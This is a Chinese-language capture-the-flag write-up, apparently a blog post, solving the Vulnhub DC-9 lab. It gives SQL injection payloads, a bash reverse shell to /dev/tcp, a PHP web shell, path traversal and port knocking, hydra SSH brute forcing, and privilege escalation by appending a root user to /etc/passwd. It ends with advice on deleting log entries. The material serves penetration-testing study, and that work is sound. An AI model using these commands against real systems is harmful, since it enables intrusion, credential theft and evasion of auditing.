首页 > 其他分享 >vulnhub靶场【DC系列】之9 the final 结束篇

vulnhub靶场【DC系列】之9 the final 结束篇

时间:2025-01-10 17:32:25浏览次数:3  
标签:文件 name 密码 union DC etc vulnhub tom final

前言

靶机:DC-8,IP地址为192.168.10.11,后续因为靶机重装,IP地址变为192.168.10.13

攻击:kali,IP地址为192.168.10.2

都采用VMWare,网卡为桥接模式

对于文章中涉及到的靶场以及工具,我放置在网盘中,链接:https://pan.quark.cn/s/54b7df0c84e1

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

因为是靶机,所以在同一局域网中,这里使用这两个工具是因为在同一局域网中的扫描速度很快

当然,如果想要模拟真实渗透,可以使用nmap等扫描工具

信息收集

使用nmap扫描端口

扫描目标的全端口,以及服务和操作系统信息

nmap -sV -O 192.168.10.11 -p-

网站信息探测

访问80端口默认界面,访问页面源代码,包含几个php文件路径,但是在这个界面都是可以点击到的

使用gobuster尝试进行目录爆破,发现爆破的路径,基本上与前面一样

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

在我尝试访问weclome.php时,发现提示我以作为admin登录,并且下面提示文件不存在,主要就是这时候,点击logout退出,是无法退出的

发现一个搜索框,是search.php,其会把输入的数据,交给results.php,有结果,会显示,无结果,也会跳转到results.php

SQL注入

测试注入点

尝试数字型测试,发现无任何变化

1 and 1=1#
1 and 1=1--+
1 and 1=2#
1 and 1-2--+
1 or 1=1#
1 or 1=1--+

再次尝试字符型,以'进行闭合测试

1'		无报错,无返回
1' or 1=1--+		无返回
1' or 1=1#			有返回,并且返回的结果是 Display All Records菜单中的内容,这个自己查看一下

那么可以确定,其应该是搜索这里面的数据,并经过测试,发现其搜索的是上面数据中的name

ok那么就可以构造语句了,借助上面数据中的一个name即可,如,这里借用tom

手工sql注入

构造语句并测试,发现两个回显不同,说明确实存在

tom' and 1=1#
tom' and 1=2#

再次构造语句进行测试,最终在7时无回显,也就是有6个

tom' order by 6#

再次构造union测试是否会显示

tom' union select 1,2,3,4,5,6#

确定这里有显示就已经ok了,还没有对于union 、 select等关键字进行过滤操作

直接上

tom' union select database(),version(),3,user(),5,6#

构造语句获取表

tom' union select group_concat(table_name),version(),3,user(),5,6 from information_schema.tables where table_schema=database()#

后面因为原因,再次想要访问,发现原本的语句不能使用,下面是换的语句
tom' union select concat(table_name),null,null,null,null,null from information_schema.tables#

发现两个表,一个Users值得关注

构造语句

tom' union select concat(column_name),version(),3,user(),5,6 from information_schema.columns where table_name='Users'#

tom' union select concat(column_name),version(),3,user(),5,6 from information_schema.columns where table_name='StaffDetails'#

直接通过查询获取对应元组的数据

tom' union select concat(Username,'|',Password),version(),3,user(),5,6 from Users#

获取到用户名admin和密码856f5de590ef37314e7c3bdf6f8a66dc

这个像是md5加密,访问网站cmd5.com,能解出,但是是付费记录

那么换一个网站somd5.com,获取密码transorbital1

在浏览器关闭当前连接的IP,按着ctrl+shift+delete,把浏览器最近记录删除,这样再访问manage就可以再登录了

尝试sql注入反弹shell

这时候输入上面的用户名和密码,即可登录成功,并且,当前登录后的界面只有一个add recard是新的,这里就可以与前面的数据进行比对,因为这里应该是写入到数据库中的,因为好多列名都是与前面的一样的

尝试直接在这里进行注入下面的语句

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'"); ?>

那么在前面使用union查询的时候,数字23是在一行显示,并且中间有空格的,那么可以根据这个进行拼接反弹shell的代码

firstname:
	<?php 
lastname:
	system($_REQUEST["cmd"]);?>

上传成功,但是无法利用

可能general_log是关闭的,通过前面的注入构造下面的语句进行查看

tom' union select variable_name, variable_value,3,4,5,6 FROM information_schema.global_variables WHERE variable_name LIKE '%general%'#

路径遍历漏洞

再次回到这里,还是观察,发现登录后,依然有File does not exist,其他界面没有,登录后才有,说明还是调用某个文件,该文件不存在了。

这里我刚开始的时候就测试过,但是没出数据,我还以为是登录问题呢

而事实证明,可能就是,或者说我自己忘记了加入某个东西

在使用ffufwfuzz爆破测试一段时间后,突然就登录不上了,可能是爆破的原因?

这里重装靶机,后面IP地址变更为192.168.10.13

这里在使用ffufwfuzz,不知道什么原因,即使加上登录条件,也是无法测试出,但是明明就有,换用burp,因为本人电脑的原因,这里在物理机上使用burp

这里抓取登录后的数据包,然后设置参数进行爆破

发现传参为file,并且可以看到靶机内的用户很多

通过路径遍历获取kncok配置文件

但是前面进行端口扫描的时候,ssh服务显示是过滤的,说明目标可能对请求进行相关操作,数据库或者其他,

但是在打靶,一般都是所谓的"敲门",也就是kncok,进行ai搜索

knock是一个用于端口敲门(Port Knocking)的工具。端口敲门是一种通过按特定顺序连接一系列端口来触发防火墙规则或开启隐藏服务的技术。它允许用户在防火墙后隐藏服务,只有当按照正确的顺序 “敲门”(访问特定端口序列)时,才会允许对目标服务端口的访问。

配置文件通常位于/etc/knockd.conf/etc/knock.conf

访问这两个进行测试,最终访问/etc/knockd.conf发现信息

记住这个序列7469,8475,9842,使用kncok敲靶机,再次扫描,可以看到已经处于打开状态

knock 192.168.10.13 7469 8475 9842

但是到这里没有任何东西了,看了网上的wp,啧,少了一个步骤,就是查询数据库,我这里直接使用当前数据库,导致错过大量信息,在search.php构造下面语句

tom' union select concat(schema_name),version(),3,user(),5,6 from information_schema.schemata#

爆出数据库的表的名称

tom' union select concat(table_name),version(),3,user(),5,6 from information_schema.tables where table_schema='users'#

爆出表中的列名

tom' union select concat(column_name),version(),3,user(),5,6 from information_schema.columns where table_name='UserDetails'#
tom' union select concat(username,password),version(),3,user(),5,6 from users.UserDetails#

为了结果更清晰,采用sqlmap展示图片,使用burp抓取search.php请求时的数据包,并把数据包中的内容进行复制

sqlmap -r search -D users -T UserDetails -C username,password --dump

可以查看保存后的

ssh爆破

这里可以直接通过ai来帮助区分

然后保存到两个文件中,使用hydra进行爆破

hydra -L user -P pass 192.168.10.13 ssh

等待一会,数据出现,用户名chandlerb的密码UrAG0D!

用户名joeyt的密码Passw0rd,用户名janitor的密码Ilovepeepee

测试登录,在登录两个一会后,并没有发现任何东西,包括SUID权限文件,以及sudo,系统内核,定时任务,甚至我上传了pspy64也没有发现,然后大概知道作者的意思了,文件应该在每个用户的家目录下,所以切换用户,最终在janitor发现一个密码本

复制内容,然后再使用hydra进行爆破

hydra -L user -P new_pass 192.168.10.13 ssh

获取新的两组数据,进行登录查看,因为joeyt前面登录过,所以没什么东西

提权

登录fredf后,发现家目录没有东西,然后尝试sudo,因为之前使用find寻找具有SUID权限的文件,确定有sudo

执行文件,提示test.py,再搜索,并查看该文件,发现无内容

可以看到这个test.py是必须要有用户的传参的,并且除了文件名,还需要有两个传参

并且,第二个传参是进行的读文件的操作,第三个传参是进行的写文件的操作,并且是追加的操作

就是test.py a.txt b.txt 读a.txt中的内容追加写入到b.txt文件中

那么直接把/etc/shadow文件中的内容,写入到/tmp/pass中,然后查看

确实发现可以写入,那么把/etc/passwd中的root信息直接读取,把两个文件中关于root的信息都复制到kali中的两个文件,使用unshadow合并,然后使用john进行hash破解

但是这个时间是真的长,这里先进行破解,思考其他方式

尝试直接获取root目录下的.ssh目录下的私钥, 但是这里测试,发现说是没有该目录

那么尝试写入/etc/passwd

root:x:0:0:root:/root:/bin/bash
用户名:密码:用户标识号:组标识号:注释性描述:主目录:默认登录Shell

#其中x表示密码存储在/etc/shadow文件中

那么这里就不使用x,把密码直接写入在/etc/passwd,并仿造root的形式,添加一个新用户

dijia::0:0:dijia:/root:/bin/bash	#尝试构造空密码的具有root权限的用户

gogo:123456:0:0:gogo:/root:/bin/bash	#尝试构造明文密码具有root权限的用户

那么尝试进行加密吧,可以使用openssl工具进行生成,或者去在线网站进行加密都行

openssl passwd -6 -salt 123 123456

#这里若是不知道含义,可以具体使用openssl -h 查看帮助,不过最好是在kali中,因为靶机内查看有问题
#openssl passwd是 OpenSSL 工具提供的一个用于生成加密密码(哈希值)的命令
#-6 是指采用sha512算法
#-salt 123 是指使用加盐操作,盐值为123
#123456 为指定加密的密码
#扩展
#-1 是指使用MD5算法
#-5 是指采用SHA-256算法

这里可以直接加密自然是可以,不过为了严谨,我这里把之前读取的/etc/shadow文件中的密码,进行一个分析,借助网站www.dcode.fr,发现解出算法以及盐值

35

那么就按照这个进行加密,然后复制这个加密的结果

openssl passwd -6 -salt lFbb8QQt2wX7eUeE 123456

那么现在再次构造,之前是空密码和明文密码,这里采用加密密码,再进行测试

final1:$6$lFbb8QQt2wX7eUeE$S63c0lmQQPy9FpNzpz5xy688Ur6ZlDQq62BGgeB1tSp5OssLCRc1VhOAIzORv4FplJbZdbR.hohEqY9LCFlmD/:0:0:final1:/root:/bin/bash

可以看到,成功提权

假设,若是这种方式也不行的话,可能其做了限制,不允许在/etc/passwd中添加密码,只能在/etc/shadow文件中,那么就需要再次构造了

#写入到/tmp/final2_user中,然后通过sudo执行test,写入到/etc/passwd中
final2:x:0:0:final2:/root:/bin/bash

#写入到/tmp/final2_pass中,然后通过sudo执行test,写入到/etc/shadow中
final2:$6$lFbb8QQt2wX7eUeE$S63c0lmQQPy9FpNzpz5xy688Ur6ZlDQq62BGgeB1tSp5OssLCRc1VhOAIzORv4FplJbZdbR.hohEqY9LCFlmD/:18259:0:99999:7:::
#这里的加密密码,是上面生成的,就直接使用,知道方法即可

查看flag

清理痕迹

这里清理痕迹不同于以往,因为存在数据库、ssh爆破、以及敏感文件的修改了

删除在数据库添加的数据

首先是在进行sql注入时,插入的数据,这里因为靶机重装的原因,导致数据重置,不过方法说一下

首先找到连接数据库的信息

然后剩下的就是删除表中的指定内容,这里因为之前确定是在staff数据库中,并且在表中StaffDetails存储着相关信息,所以重点删除这个表中的指定数据即可

清理日志

日志文件主要在/var/log中,可以使用sed删除指定kali的ip的行

清理敏感文件

删除添加在/etc/passwd文件中的用户

sed -i '$d' /etc/passwd
#$表示最后一行,d表示删除
#一般添加的都是在文件的最后,可以自己查看后,根据实际情况去删除

删除添加在/etc/shadow文件中的密码

sed -i '$d' /etc/shadow
#与上面一样,一般也是在文件的最后进行添加的

总结

该靶场考察以下几点

  1. 对于sql注入,能否找到注入点,然后最好通过手工的方式进行操作,在手工注入获取到结果后,再使用sqlmap进行测试,也需要掌握sqlmap工具的使用
  2. 通过sql注入获取到网站的用户名和密码,登录后,继续发现功能点,要懂得去判断。这里就是因为登录后发现显示文件不存在的,推测可能具有文件包含,然后根据这个进行路径遍历测试,发现传参为file。还有一点,这里的路径遍历,绝对路径以及远程文件包含都是不行的
  3. 对于ssh服务扫描发现过滤的情况,考虑防火墙,以及做的安全策略,这里因为是在靶机,所以一般都是使用工具knock与防火墙iptables搭配,只要符合配置指定的序列,就可以使用ssh服务了
  4. 对于数据库的信息,最好都看一看,不能只看感觉像是怎么怎么样的。
  5. 通过获取的大量用户名和密码,进行ssh爆破,获取到可用账号
  6. ssh登录后,寻找各种信息,这里是再次发现一个密码本,然后获取到一个新的用户并且登录
  7. 对于可执行文件具有sudo时,要知道怎么调试,这里是执行 后,有用法提示,找到关键文件。然后通过分析关键文件中的代码指令,最终确定可以进行非法读取和写入
  8. 对于/ect/passwd文件和/etc/shadow文件中,存储的形式有什么含义,要清楚的知道

标签:文件,name,密码,union,DC,etc,vulnhub,tom,final
From: https://blog.csdn.net/China_I_LOVE/article/details/145062321

相关文章

  • ODX诊断数据库转换工具 - DDC
    概述    INTEWORK-DDC(DiagnosticDatabaseConvertor)是将诊断调查问卷转换为标准ODX(2.2.0)数据库的工具。ODX是格式标准化的诊断数据库文件,我们在诊断不同的车或者不同的ECU时,只需要加载适配这个车型或ECU的ODX文件即可,而无需对诊断仪做任何改变。ODX统一了诊断文件......
  • STM32标准库学习笔记(六)ADC
    前言学习永无止境!本篇是嵌入式开发之片上外设ADC,从硬件原理到实际应用,深入了解ADC模数转换原理以及相关应用。注:本文章为学习笔记,部分图片与文字来源于网络/江协科技课程/手册,如侵权请联系!谢谢!一、ADC概述1.1ADC简介 定义:ADC(Analog-DigitalConverter)模拟数字转换器,......
  • 基于Simulink开发一个带有无源滤波器的单相全桥整流AC-DC变换器
    目录基于Simulink的无源滤波AC-DC变换器项目实例详细介绍1.项目背景2.系统架构2.1单相全桥整流电路2.2无源滤波器2.3系统框图3.模型设计3.1创建Simulink模型3.2仿真环境搭建3.3仿真结果分析4.无源滤波器设计与优化4.1LC滤波器设计4.2优化滤波器性能5......
  • PyQ5中findChild() 方法,为什么是none
    第一个代码是kimi生成的,调用findchild方法可以使用;第二个调用findchild是none,为什么?importsysfromPyQt5.QtWidgetsimportQApplication,QMainWindow,QLineEditclassMainWindow(QMainWindow):def__init__(self):super().__init__()self.setGeom......
  • vulnhub中deathnote1靶机
    信息收集靶机开机后,按e键进入安全模式修改下图位置为:rwsignieinit=/bin/bash 按ctrl+x进入bashvi /etc/network/interfaces 修改下图两个位置为ens33注意x是删除i是输入然后退出 打开kali识别存活主机(也就是识别攻击目标):arp-scan-l端口扫描:nmap-sV-p-......
  • wx.addCard
    wx.addCard(Objectobject)基础库1.1.0开始支持,低版本需做兼容处理。以Promise风格调用:支持小程序插件:不支持功能描述批量添加卡券。只有通过认证的小程序或文化互动类目的小游戏才能使用。更多文档请参考微信卡券接口文档。参数Objectobject属性类型......
  • 1.7 DCDC_LDO模块中设计常见问题的分析解答
    DCDC/LDO模块中设计常见问题的分析解答在DC-DC转换器和LDO(线性稳压器)模块设计中,常见的问题通常涉及性能、稳定性和效率等方面。以下是一些常见的问题及其分析解答:一、DC-DC模块常见问题1.输出电压不稳定问题:DC-DC转换器输出电压波动,无法维持稳定。原因分析:负载变化:快......
  • 多路DCDC电源的二叉树分析电路思路,并能快速定位相关电源的设计注意事项
    多路DCDC电源的二叉树分析电路思路,并能快速定位相关电源的设计注意事项多路DC-DC电源系统在现代电子设计中广泛应用,尤其是在需要多个电压轨的设备中,如嵌入式系统、通信设备和消费电子产品。以下是多路DC-DC电源的二叉树分析电路思路,以及相关设计注意事项的快速定位指南。一......
  • DCDC_LDO模块
    DCDC/LDO模块DC-DC模块和LDO(线性稳压器)模块是两种常用的电源管理解决方案。它们在电源转换和调节中各有特点和适用场景。以下是对这两种模块的详细介绍,包括它们的工作原理、优缺点、应用场景以及设计考虑。一、DC-DC模块1.工作原理DC-DC转换器通过高频开关元件(如MOSFET)......
  • DC-6 靶场通关小记
    地址https://www.vulnhub.com/entry/dc-6,315/环境配置略,有问题可参考https://www.cnblogs.com/lrui1/p/18655388需要向hosts文件添加以下内容Windows:C:\Windows\System32\drivers\etc\hostsLinux:/etc/hosts192.168.x.xwordy作者给的提示ClueOK,thisisn'treally......